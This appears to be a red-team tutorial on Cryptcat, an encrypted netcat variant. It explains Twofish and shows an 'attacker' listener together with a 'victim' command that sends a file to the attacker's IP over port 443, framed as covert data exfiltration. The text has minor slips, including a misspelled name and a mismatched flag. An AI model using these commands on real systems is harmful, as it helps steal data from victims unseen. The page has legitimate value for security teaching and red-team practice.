CryptCat
Cryptcat
is the standardnetcat
enhanced withtwofish
encryption
with ports for WIndows NT, BSD and Linux. Twofish is courtesy ofcounterpane
, andcryptix
.
Cryptcat is a simple Unix utility which reads and writes data across network connections, using
TCP
orUDP
protocol whileencrypting
the data being transmitted. It is designed to be a reliable"back-end"
tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich networkdebugging
and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.
Secure Transfer
There are several reasons why we should use
Cryptcat
, one of them is because of itsTwoFish
cipher developed byCounterpane Labs
.
As you can imagine, in a
red team
compromise, you may encounterprivate
/confidential
data, which can be ofmuch
value to a red team (not to mention cybercriminals), when doingdata exfiltration
, you have to besure
of how you are going to operate, you have to keep in mind that there may also be a third partyintercepting
your connection, A perfect reference is when you useTunnelShell
to create a covert channel, you are notencrypting
any kind of connection, if somehow, some third party manages to find that connection, they couldmonitor
you andsteal
your data at the same time you do theexfiltration
, which would be devastating. That is why cryptography is used in any kind of connection.
TwoFish
Twofish is a
symmetric
cryptography method withblock
encryption. The block size in Twofish is128 bits
and the key size can go up to256 bits
.
Designed by
Bruce Schneier
,John Kelsey
,Doug Withing
,David Wagner
,Chris Hall
andNiels Ferguson
.
The distinguishing features of Twofish are the use of
precomputed
S-boxes
withdependent
keys and a relatively complexkey-schedule
.
Install
sudo apt-get update
sudo apt-get install cryptcat
CryptCat Usage
Now let’s see how to use Cryptcat, for this example we will simply transfer a file.
Attacker Machine
cryptcat -l -p 443 -n > file
Victim Mahcine
cryptcat <ip> 443 < file
-l
/ listen mode, for inbound connects
-P
/ local port number
-n
/ numeric-only IP addresses, no DNS